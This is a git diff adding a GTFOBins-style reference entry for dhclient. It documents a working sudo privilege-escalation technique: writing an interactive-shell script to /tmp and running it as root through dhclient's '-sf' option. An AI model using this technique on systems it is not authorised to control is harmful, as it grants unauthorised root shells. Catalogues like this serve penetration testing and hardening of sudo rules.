diff --git a/_gtfobins/dhclient.md b/_gtfobins/dhclient.md
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--- /dev/null
+++ b/_gtfobins/dhclient.md
@@ -0,0 +1,12 @@
+---
+functions:
+  sudo:
+    - description: The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`.
+      code: |
+        cat > /tmp/script.sh << EOF
+        #!/bin/bash
+        bash -i
+        EOF
+        chmod +x /tmp/script.sh
+        sudo dhclient -sf /tmp/script.sh
+---